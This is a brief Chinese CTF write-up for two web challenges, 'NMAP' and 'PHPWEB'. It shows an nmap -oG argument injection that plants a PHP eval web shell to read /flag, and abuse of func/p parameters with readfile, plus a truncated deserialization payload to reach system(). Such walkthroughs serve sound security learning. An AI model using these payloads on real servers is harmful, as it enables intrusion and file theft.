NMAP
这题BUU上类似的题目,就是题目提供了使用nmap扫描并保存的接口.所以我们可以使用下面这个参数写文件:
1 | -oG #可以实现将命令和结果写到文件 |
并且源码大概的构造:
1 | echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); |
直接使用BUU题目中的payload进行测试
1 | ' <?php @eval($_POST["hack"]);?> -oG hack.php ' |
这里使用“=”绕过文件中的php字符,使用“phtml”绕过对“php”文件后缀的检测,再次输入之后执行命令执行:
1 | post:hack=readfile("/flag"); |
PHPWEB
进入之后发现有时间显示,抓包看一下,post了两个参数func和p参数我们发现func参数调用了函数date(),p参数调用了函数date中填写的时间格式,我们尝试构造一下,查看能否代码执行,首先尝试读取index.php的文件,我们构造如下语句:
1 | func=readfile&p=index.php |
发现成功读取源码,如下:
1 | <?php |
禁用了很多函数,主要是命令执行的函数.但是不影响我们读取文件,同时我们发现,存在魔法函数,我们也可以通过构造反序列化代码,来达到绕过黑名单,执行system等函数的目的.尝试目录穿越读取文件.
但是在读取根目录下flag时,无法读出,猜测flag存在其他目录,或者flag非正常名称,我们需要构造系统命令进行目录查看,这是我们可以构造反序列化代码:
1 | class Test { |
使用readfile读取文件,即可获取flag.